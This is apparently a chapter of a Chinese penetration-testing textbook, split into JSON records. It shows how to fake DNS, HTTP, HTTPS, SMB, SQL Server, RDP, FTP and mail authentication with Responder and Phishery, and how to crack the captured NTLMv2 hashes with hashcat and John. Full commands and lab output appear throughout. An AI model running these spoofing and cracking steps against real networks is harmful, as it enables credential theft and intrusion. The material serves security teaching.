    {"text": "未知 9.2 伪造DNS服务 DNS服务主要用来实现域名解析。攻击者通过伪造DNS服务，可以将目标主机请求的域名解析到一个错误的地址，如攻击主机的IP地址，从而便于伪造基于域名方式的其他服务认证。在Responder工具中内建了DNS服务，可以用来响应A类型查询。下面将使用Responder伪造DNS服务认证，以实施DNS欺骗。 【实例9-1】 使用Responder工具伪造DNS服务认证，并启用主机指纹识别。执行命令： root@daxueba:~# responder -I eth0 -vf __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: #欺骗者 LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: #服务器 HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] #DNS服务 LDAP server [ON] RDP server [ON] [+] HTTP Options: #HTTP选项 Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: #注入选项 Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [ON] #指纹识别主机 [+] Generic Options: #通用选项 Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 此时，表示成功启动了Responder工具，并且正在监听各种信息。以上输出信息包括五部分，分别是Poisoners、Servers、HTTP Options、Poisoning Options和Generic Options。从Servers部分可以看到，成功启动了伪DNS服务器。如果目标主机被诱骗使用伪DNS服务的话，即可监听到目标用户请求解析的域名。攻击者可以通过搭建伪DHCP服务器，并设置DNS服务器的地址为伪DNS服务器的地址，进而实现DNS欺骗。 为了验证伪DNS服务器能够成功解析域名，攻击者可以手动修改目标主机的DNS服务器地址为伪DNS服务器的地址。下面将分别介绍在Linux和Windows中修改DNS服务器地址的方法。 1.修改Linux的DNS服务器地址 在Linux中，DNS服务器默认配置文件为/etc/resolv.conf。这里将以Kali Linux为例，介绍该文件的内容格式。其内容格式如下： root@daxueba:~# cat /etc/resolv.conf # Generated by NetworkManager search localdomain nameserver 192.168.198.2 在该配置文件中，search命令用来指定搜索的域名；nameserver命令用来指定DNS服务器地址。因此，攻击者将nameserver命令的参数值修改为伪DNS服务器地址即可。修改如下： nameserver 192.168.198.141 2.修改Windows的DNS服务器地址 【实例9-2】 在Windows中，修改DNS服务器地址。具体操作步骤如下： （1）右击桌面上的“网络”图标，在弹出的快捷菜单中选择“属性”命令，打开“网络和共享中心”窗口，如图9.1所示。 （2）在该窗口选择“更改适配器设置”选项卡，将打开“网络连接”窗口，如图9.2所示。 （3）右击“以太网”接口，在弹出的快捷菜单中选择“属性”命令，将打开“以太网属性”对话框，如图9.3所示。 （4）选择“Internet协议版本4(TCP/IPv4)”复选框，并单击“属性”按钮，打开“Internet协议版本4(TCP/IPv4)属性”对话框，如图9.4所示。 图9.1 “网络和共享中心”窗口 图9.2 “网络连接”窗口 图9.3 “以太网属性”对话框 图9.4 “Internet协议版本4(TCP/IPv4)属性”对话框 （5）选择“使用下面的DNS服务器地址”单选按钮，并在“首选DNS服务器”文本框中输入伪DNS服务器地址。然后，单击“确定”按钮，则DNS服务器地址修改完成。 此时，目标主机请求访问任何网站，将使用伪DNS服务器进行解析。在Responder交互模式下，即可监听到目标主机请求的DNS A记录，如下： [*] [DNS] Poisoned answer sent to: 192.168.198.138 Requested name: .www. baidu.com [*] [DNS] Poisoned answer sent to: 192.168.198.138 Requested name: .www. kali.org [FINGER] OS Version : Windows 7 Ultimate 7601 Service Pack 1 [FINGER] Client Version : Windows 7 Ultimate 6.1 从输出的信息中可以看到，目标主机（192.168.198.138）请求解析了域名www.baidu.com和www.kali.org。而且，还可以看到识别出的主机指纹信息。例如，操作系统版本为Windows 7 Ultimate 7601 Service Pack 1，客户端版本为Windows 7 Ultimate 6.1。"},
    {"text": "未知 9.3 伪造HTTP基础认证 HTTP基础认证就是用户在浏览网页的时候，浏览器会弹出一个登录验证的对话框，要求用户输入用户名和密码。例如，常见的一些路由器管理界面使用的就是HTTP基础认证，如TP-LINK、Tenda等。攻击者通过伪造HTTP基础认证，即可获取目标用户的认证信息。本节将介绍伪造HTTP基础认证的方法。 【实例9-3】 使用Responder工具伪造HTTP基础认证，以获取目标主机的认证信息。具体操作步骤如下： （1）启动Responder工具。执行命令： root@daxueba:~# responder -I eth0 -rb __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] #HTTP服务 HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [On] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，成功启动了伪HTTP服务器。 （2）在目标主机访问伪HTTP服务器。攻击者可以通过实施DNS欺骗，将目标主机诱骗到攻击主机的伪HTTP服务器。如果仅是测试练习的话，直接在目标主机的浏览器中输入攻击主机的IP地址即可。当目标主机被成功欺骗后，将会弹出一个基础认证对话框，如图9.5所示。 图9.5 基础认证对话框 （3）此时，目标用户输入登录的用户名和密码后，即可被Responder工具嗅探到。嗅探到的信息如下： [HTTP] Basic Client : 192.168.198.141 [HTTP] Basic Username : admin [HTTP] Basic Password : admin 从输出的信息中可以看到，成功监听到了目标主机的HTTP认证信息。其中，认证用户名和密码都为admin。 未知 9.4 伪造HTTPS服务认证 为了安全起见，现在大部分网站都使用HTTPS认证。用户通过伪造HTTPS服务认证，即可嗅探到目标用户的认证信息。下面将介绍如何使用Responder工具和Phishery工具伪造HTTPS服务认证。"},
    {"text": "未知 9.4.1 使用Responder工具 【实例9-4】 使用Responder工具伪造HTTPS服务认证。 具体操作步骤如下： （1）启动Responder工具，来伪造HTTPS服务认证。 执行命令： root@daxueba:~# responder -I eth0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] #HTTPS服务 WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] ...//省略部分内容//... [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，成功启动了伪HTTPS服务认证。 接下来，只需要将目标主机诱骗到该伪HTTPS服务认证，即可嗅探到目标用户的认证信息。 （2）为了验证伪HTTPS服务认证开启成功，这里将在目标主机的浏览器中主动访问伪HTTPS服务器。"},
    {"text": "[HTTP] NTLMv2 Client : 192.168.198.138 [HTTP] NTLMv2 Username : \\daxueba [HTTP] NTLMv2 Hash : daxueba:::ccae9cda03e8752e:22D9D21DF6C9B48421551 43AEEE2B140:0101000000000000800F2976A897D501E64580E546A3C60E00000000020 0060053004D0042000100160053004D0042002D0054004F004F004C004B004900540004 00120073006D0062002E006C006F00630061006C0003002800730065007200760065007 20032003000300033002E0073006D0062002E006C006F00630061006C00050012007300 6D0062002E006C006F00630061006C0000000000 从输出的信息中可以看到，成功嗅探到目标用户的HTTPS认证信息。"},
    {"text": "执行命令： root@daxueba:/usr/share/responder/logs# hashcat -m 5600 HTTP-NTLMv2-192. 168.198.138.txt /root/password --force hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz, 512/1475 MB allocatable, 2MCU Hashes: 17 digests; 14 unique digests, 14 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Not-Iterated Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/ OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 –D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=3 -D DGST_R2=2 –D DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=5600 -D _unroll' Device #1: Kernel m05600_a0-pure.1444bd7e.kernel not found in cache! Building may take a while... Dictionary cache built: * Filename..: /root/password * Passwords.: 7 * Bytes.....: 45 * Keyspace..: 7 * Runtime...: 0 secs The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework DAXUEBA:::ccae9cda03e8752e:22d9d21df6c9b4842155143aeee2b140:01010000000 00000800f2976a897d501e64580e546a3c60e000000000200060053004d004200010016 0053004d0042002d0054004f004f004c004b00490054000400120073006d0062002e006 c006f00630061006c000300280073006500720076006500720032003000300033002e00 73006d0062002e006c006f00630061006c000500120073006d0062002e006c006f00630 061006c0000000000:daxueba Session.......... : hashcat Status........... : Exhausted Hash.Type..... : NetNTLMv2 Hash.Target... : HTTP-NTLMv2-192.168.198.138.txt Time.Started..... : Fri Nov 15 16:36:44 2019 (1 sec) Time.Estimated : Fri Nov 15 16:36:45 2019 (0 secs) Guess.Base.... . : File (/root/password) Guess.Queue.. : 1/1 (100.00%) Speed.#1.........: 557 H/s (0.02ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered.... : 12/14 (85.71%) Digests, 12/14 (85.71%) Salts Progress........ . : 98/98 (100.00%) Rejected......... : 0/98 (0.00%) Restore.Point.... : 7/7 (100.00%) Restore.Sub.#1... : Salt:13 Amplifier:0-1 Iteration:0-1 Candidates.#1.... : test -> admin Started: Fri Nov 15 16:36:32 2019 Stopped: Fri Nov 15 16:36:46 2019 Approaching final keyspace - workload adjusted. 从输出的信息中可以看到，成功破解出了捕获的哈希密码。"},
    {"text": "未知 9.4.2 使用Phishery工具 Phishery工具是一个支持SSL加密的HTTP服务软件。攻击者可以利用该工具伪造基础认证，诱骗用户填写自己的用户名和密码。同时，该工具可以在Word文档中注入URL。一旦用户打开该文档，就会弹出“登录”对话框，要求用户输入用户名和密码进行登录。下面将介绍如何使用Phishery工具嗅探目标用户的认证信息。 Kali Linux默认没有安装Phishery工具。这里将安装该工具，执行命令： root@daxueba:~# apt-get install phishery 执行以上命令后，如果没有出现任何错误，则表示Phishery工具安装成功。接下来，就可以使用该工具了。它的语法格式如下： phishery [选项] 该工具支持的选项及含义如下： ·-s：指定服务配置文件，默认为settings.json。 ·-c：指定输出结果的文件名，默认为credentials.json。 ·-u：指定Word模板所使用的伪造URL地址。 ·-i：指定一个Word文档模板，文件格式为.docx。 ·-o：指定生成的Word文件名，文件格式为.docx。 【实例9-5】 使用Phishery工具伪造HTTPS服务认证，以获取目标用户的认证信息。具体操作步骤如下： （1）启动Phishery工具，来伪造HTTPS服务认证。执行命令： root@daxueba:~# phishery [+] Credential store initialized at: /etc/phishery/credentials.json [+] Starting HTTPS Auth Server on: 0.0.0.0:443 从以上输出信息中可以看到，已成功启动了HTTPS认证服务，监听的地址为0.0.0.0:443，而且捕获的认证信息默认将保存到/etc/phishery/credentials.json文件中。此时，当目标用户被欺骗访问该伪HTTPS服务时，其认证信息将被嗅探到。 （2）这里同样在目标主机输入伪HTTPS服务地址192.168.198.141，提示“您的连接不是私密连接”，如图9.9所示。 图9.9 提示“您的连接不是私密连接” （3）当用户继续访问后，将会弹出“登录”对话框，如图9.10所示。 图9.10 “登录”对话框 （4）此时，当目标用户输入用户名和密码后，该信息将被Phishery工具捕获。捕获的信息如下： [*] Request Received at 2019-11-13 22:50:02: GET https://192.168.198.138/ [*] Sending Basic Auth response to: 192.168.198.1 [*] Request Received at 2019-11-13 22:50:10: GET https://192.168.198.138/ [*] New credentials harvested! [HTTP] Host : 192.168.198.138 [HTTP] Request : GET / [HTTP] User Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 [HTTP] IP Address : 192.168.198.1 [AUTH] Username : daxueba [AUTH] Password : password 从以上输出信息中可以看到，用户提交的用户名为daxueba、密码为password。"},
    {"text": "未知 9.5 伪造SMB服务认证 SMB服务是一种文件共享服务。当用户访问共享文件时，需要提供用户认证信息才可以访问。因此，攻击者通过伪造SMB服务认证，即可捕获SMB服务的用户认证信息。本节将介绍使用Responder工具伪造SMB服务认证的方法。 【实例9-6】 使用Responder工具伪造SMB服务认证。具体操作步骤如下： （1）启动Responder工具，以启动伪SMB服务认证。执行命令： root@daxueba:~# responder -I eth0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] #SMB服务 Kerberos server [ON] SQL server [ON] ...//省略部分内容//... [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，已成功启动了伪SMB服务，并且正在监听用户认证信息。 （2）在目标主机访问伪SMB服务。例如，在Windows下使用UNC路径访问伪SMB服务器。按Win+R快捷键，打开“运行”对话框，如图9.11所示。 （3）在“打开”文本框中，输入伪SMB服务器的地址（\\\\192.168.198.141），并单击“确定”按钮，将打开“输入网络凭据”对话框，如图9.12所示。 图9.11 “运行”对话框 图9.12 “输入网络凭据”对话框 （4）在该对话框中，输入认证的用户名和密码。单击“确定”按钮后，Responder工具即可监听到目标主机的用户认证信息。监听到的用户认证信息如下： [SMB] NTLMv2-SSP Client : 192.168.198.136 [SMB] NTLMv2-SSP Username : Test-PC\\Administrator [SMB] NTLMv2-SSP Hash Administrator::Test-PC:d008c549269040b7:85E6DB CFA9FC1BBA7FD210D5FD85B557:0101000000000000C0653150DE09D201F24B870683FB 47BD000000000200080053004D004200330001001E00570049004E002D0050005200480 0340039003200520051004100460056000400140053004D00420033002E006C006F0063 0061006C0003003400570049004E002D005000520048003400390032005200510041004 60056002E0053004D00420033002E006C006F00630061006C000500140053004D004200 33002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080 0300030000000000000000000000000300000F63DD37594BBDCC10208C616579B701118 1FE54D4DFC5FFFD8A9580B18FA7A920A001000000000000000000000000000000000000 900280063006900660073002F0073006D0062002E006C006F00630061006C0064006F00 6D00610069006E000000000000000000 从输出的信息中可以看到，成功监听到目标主机的SMB服务认证信息。其中，认证的用户名为Administrator；密码为NTLMv2-SSP哈希。该哈希密码默认保存在/usr/share/responder/logs目录中，文件名为SMB-NTLMv2-SSP-192.168.198.136.txt。接下来，用户可以使用John工具破解该哈希密码。 （5）使用John工具破解嗅探到的哈希密码。执行命令： root@daxueba:/usr/share/responder/logs# john SMB-NTLMv2-SSP-192.168.198. 136.txt --wordlist=/root/password Using default input encoding: UTF-8 Loaded 57 password hashes with 57 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 123456 (Administrator) 58g 0:00:00:01 DONE 2/3 (2019-11-15 16:45) 58.00g/s 795212p/s 852724c/s 880288C/s 123456..random Use the \"--show --format=netntlmv2\" options to display all of the cracked passwords reliably Session completed 从输出的信息中可以看到，已成功破解出了哈希密码。破解出的密码为123456。"},
    {"text": "未知 9.6 伪造SQL Server服务认证 SQL Server是微软推出的关系型数据库服务。在Windows操作系统中，用户通常使用SQL Server数据库服务来保存数据。如果要访问SQL Server数据库服务，则需要对应的数据库用户。此时，攻击者通过伪造SQL Server服务认证，即可嗅探目标用户的数据库用户认证信息。本节将介绍如何使用Responder工具伪造SQL Server服务认证。 【实例9-7】 使用Responder工具伪造SQL Server服务认证。具体操作步骤如下： （1）启动Responder工具，以伪造SQL Server服务。执行命令： root@daxueba:~# responder -I eth0 -rfv __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON SQL server [ON] #SQL Server服务 ...//省略部分内容//... [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，已成功启动了伪SQL Server服务，并且正在监听其认证信息。 （2）当用户在连接该SQL Server服务时，其认证信息将被嗅探到。例如，这里将使用SQL Server 2005客户端进行登录。SQL Server服务在“连接到服务器”对话框登录，如图9.13所示。 图9.13 “连接到服务器”对话框 （3）在“服务器名称”文本框中输入伪SQL Server服务器地址（192.168.198.141），并且在“身份验证”下拉列表框中选择“SQL Server身份验证”选项。当输入登录名和密码后，单击“连接”按钮，其认证信息将被Responder工具嗅探到。嗅探到的认证信息如下： [MSSQL] Cleartext Client : 192.168.198.136 [MSSQL] Cleartext Hostname : 192.168.198.141 () [MSSQL] Cleartext Username : sa [MSSQL] Cleartext Password : daxueba 从输出的信息中可以看到，成功嗅探到了目标用户登录SQL Server服务的明文认证信息。其中，登录的用户名为sa，密码为daxueba。"},
    {"text": "未知 9.7 伪造RDP服务认证 远程桌面协议（Remote Desktop Protocol，RDP）用来远程连接计算机，并对其进行远程管理。大型的服务器都有固定的机房，而且管理员一般不会一直修改服务器的配置。为了方便对服务器进行管理，通常会使用远程桌面服务来连接服务器，并进行操作。如果用户能够获取远程桌面服务的用户认证信息，就可以控制其他服务器。本节将介绍使用Responder工具伪造远程桌面服务认证。 【实例9-8】 使用Responder工具伪造RDP服务认证。具体操作步骤如下： （1）启动Responder工具，以伪造RDP服务。执行命令： root@daxueba:~# responder -I eth0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] #RDP服务 ...//省略部分内容//... [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，成功启动了伪RDP服务，并且正在监听其认证信息。 （2）此时，当目标用户被欺骗访问到该RDP服务器，其认证信息将被Responder工具监听到。为了验证伪RDP服务认证成功，这里将在Windows10中，使用远程桌面连接程序来访问伪RDP服务器。在“开始”菜单中，依次选择“Windows附件”|“远程桌面连接”命令，将打开“远程桌面连接”对话框，如图9.14所示。 （3）在“计算机”文本框中，输入伪RDP服务器地址（192.168.198.141），并单击“连接”按钮，将弹出“输入你的凭据”对话框，如图9.15所示。 图9.14 “远程桌面连接”对话框 图9.15 “输入你的凭据”对话框 （4）在该对话框中，输入远程登录RDP服务的认证信息。单击“确定”按钮后，其认证信息将被Responder工具嗅探到。嗅探到的认证信息如下： [RDP] NTLMv2-SSP Client : 192.168.198.1 [RDP] NTLMv2-SSP Username : DESKTOP-RKB4VQ4\\daxueba [RDP] NTLMv2-SSP Hash : daxueba::DESKTOP-RKB4VQ4:5f7b6e3362a09369:1AD8 EF072CD9A8939CC271125DA1C116:0101000000000000C9F447FBA697D501412FE8EEC6 F8BB720000000002000A005200440050003100320001000A00520044005000310032000 4000A005200440050003100320003000A005200500044003100320005000A0052004400 5000310032000800300030000000000000000100000000200000656A7E3E571880738D8 AF13840B10918BD16A5B000C3B987651F09B36387DAB60A001000000000000000000000 0000000000000009002E005400450052004D005300520056002F003100390032002E003 100360038002E003100390038002E003100340031000000000000000000 从输出的信息中可以看到，成功嗅探到了远程桌面服务认证信息。其中，认证的用户名为daxueba，密码是NTLMv2-SSP哈希。嗅探到的哈希密码默认保存在/usr/share/responder/logs目录中，文件名为RDP-NTLMv2-SSP-192.168.198.1.txt。接下来，将使用John工具破解该哈希密码。 （5）使用John工具破解嗅探到的哈希密码。执行命令： root@daxueba:/usr/share/responder/logs# john RDP-NTLMv2-SSP-192.168.198. 1.txt Using default input encoding: UTF-8 Loaded 2 password hashes with no different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status daxueba (daxueba) 2g 0:00:00:00 DONE 1/3 (2019-11-15 16:47) 200.0g/s 800.0p/s 800.0c/s 1600C/s daxueba..Ddaxueba Use the \"--show --format=netntlmv2\" options to display all of the cracked passwords reliably Session completed 从输出的信息中可以看到，成功破解出了哈希密码。该密码为daxueba。"},
    {"text": "未知 9.8 伪造FTP服务认证 FTP是一个文件传输服务，用来实现局域网之间的文件传输。因为FTP传输效率非常高，所以通常使用该协议在网络上传输较大的文件。另外，在开发网站的时候，通常利用FTP把网页或程序传到Web服务器。如果要连接FTP服务器，则必须提供FTP服务的授权账号。因此，攻击者可以通过伪造FTP服务认证，来获取FTP服务认证信息。本节将使用Responder工具伪造FTP服务认证。 【实例9-9】 使用Responder工具伪造FTP服务认证。具体操作步骤如下： （1）启动Responder工具，以伪造FTP服务认证。执行命令： root@daxueba:~# responder -I eth0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] #FTP服务 IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] ...//省略部分内容//... [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，成功启动了伪FTP服务，并且正在监听认证信息。 （2）当目标主机被欺骗访问到伪FTP服务器时，其认证信息将被嗅探到。例如，在Linux系统中，使用ftp命令验证伪FTP服务获取认证信息。执行命令： root@daxueba:~# ftp 192.168.198.141 #登录伪FTP服务器 Connected to 192.168.198.141. 220 Welcome Name (192.168.198.141:root): ftp #输入用户名 331 User name okay, need password. Password: #密码 530 User not logged in. Login failed. 421 Service not available, remote server has closed connection ftp> 此时，返回到攻击主机中，即可看到Responder工具嗅探到的FTP服务明文认证信息，如下： [FTP] Cleartext Client : 192.168.198.138 [FTP] Cleartext Username : ftp [FTP] Cleartext Password : daxueba 从输出的信息中可以看到，目标主机登录FTP服务器的用户名为ftp，密码为daxueba。 未知 9.9 伪造邮件服务认证 邮件服务器是一种用来负责电子邮件收发管理的设备。对于一些大型企业来说，通常会通过邮件来传输工作内容。如果要查看邮件内容，则必须有对应的邮件账号认证后才可以。本节将介绍如何使用Responder工具伪造邮件服务认证。 未知 9.9.1 邮件系统传输协议 邮件系统在发送和接收邮件时，使用的传输协议不同。邮件系统主要使用的传输协议有SMTP、POP3和IMAP。下面将分别介绍这三个传输协议的概念。 1.SMTP 简单邮件传输协议（Simple Mail Transfer Protocol，简称SMTP）主要用于发送和传输邮件。SMTP使用的TCP端口号为25。 2.POP3 邮局协议（Post Office Protocol，POP）主要用于从邮件服务器中收取邮件。目前，POP的最新版本为POP3。另外，POP3也是建立在TCP上的应用层协议，默认使用的TCP端口号为110。 3.IMAP 互联网消息访问协议（Internet Message Access Protocol，IMAP）同样用于收取邮件。目前，IMAP的最新版本是IMAP4。IMAP4与POP3相比，IMAP4提供了更为灵活和强大的邮件收取、邮件管理功能。IMAP4使用的TCP端口号为143。"},
    {"text": "未知 9.9.2 伪造邮件服务认证的方法 【实例9-10】 使用Responder工具伪造邮件服务认证，以获取用户认证信息。具体操作步骤如下： （1）启动Responder工具，伪造邮件服务认证。执行命令： root@daxueba:~# responder -I eth0 -rbvd __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] #IMAP服务 POP3 server [ON] #POP3服务 SMTP server [ON] #SMTP服务 DNS server [ON] LDAP server [ON] RDP server [ON] ...//省略部分内容//... [+] Generic Options: Responder NIC [eth0] Responder IP [192.168.198.141] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出的信息中可以看到，成功创建了伪邮件服务，对应开启的服务有SMTP、POP3和IMAP。接下来，目标用户被欺骗后，即可捕获对应的认证信息。例如，为了验证伪邮件服务，使用Foxmail客户端测试一下。 （2）在如图9.16所示的Foxmail邮件客户端。可以看到创建的邮件用户邮箱类型为POP3。在“服务器”选项卡中分别将收件服务器和发件服务器的IP地址，指定为伪邮件服务器的IP地址（192.168.198.141）。然后，单击“确定”按钮，使配置生效。 图9.16 修改邮件账号的服务器地址 （3）用户使用该账号发送和接收邮件时，其认证信息即可被嗅探到。其中，SMTP服务认证信息如下： [SMTP] Cleartext Client : 192.168.198.1 #客户端地址 [SMTP] Cleartext Username : bob@test.com #用户名 [SMTP] Cleartext Password : 123456 #密码 POP3服务认证信息如下： [POP3] Cleartext Client : 192.168.198.1 #客户端地址 [POP3] Cleartext Username : daxueba@test.com #用户名 [POP3] Cleartext Password : password #密码 从输出的信息中可以看到，已成功嗅探到邮件用户的明文认证信息。 未知 9.10 伪造WPAD代理服务认证 网络代理自发现协议（Web Proxy Auto-Discovery Protocol，WPAD）是客户端通过DHCP或DNS协议探测代理服务器配置脚本URL的一种方式。当IE浏览器定位脚本并将脚本下载到本地之后，就可以通过该脚本来为不同的URL选择相应的代理服务器。目前，主流浏览器一般都支持WPAD。 未知 9.10.1 攻击原理 WPAD代理服务认证攻击主要是利用浏览器的代理自动检测功能漏洞来实现攻击的。当目标主机系统的浏览器中启用“自动检测代理设置”功能后，浏览器在访问网络时，就会在当前局域网中查找代理服务器。如果找到代理服务器，则会从代理服务器中下载一个名为PAC（Proxy Auto-Config）的配置文件。该配置文件中定义了用户在访问URL时应该使用的代理服务器。浏览器下载该文件后将自动解析，并将相应的代理服务器设置到用户的浏览器中。WPAD代理服务认证攻击的原理如图9.17所示。 图9.17 WPAD代理服务认证攻击的原理 WPAD代理服务认证攻击的具体流程如下： （1）由于在目标用户的IE浏览器启动了“自动检测代理设置”功能，因此目标用户在使用浏览器上网时，将会通过LLMNR协议进行广播，查询代理服务器（WPAD主机）。 （2）攻击者将响应伪代理服务器的IP地址给目标用户。 （3）此时，目标用户将从代理服务器中请求下载攻击者提前准备好的wpad.dat文件。 （4）浏览器成功下载wpad.data文件后，并解析该文件，然后将wpad.dat文件中相应的代理服务器设置到用户的浏览器中。 （5）这样，目标主机的流量就会经过攻击者的主机，进而访问到网络。"},
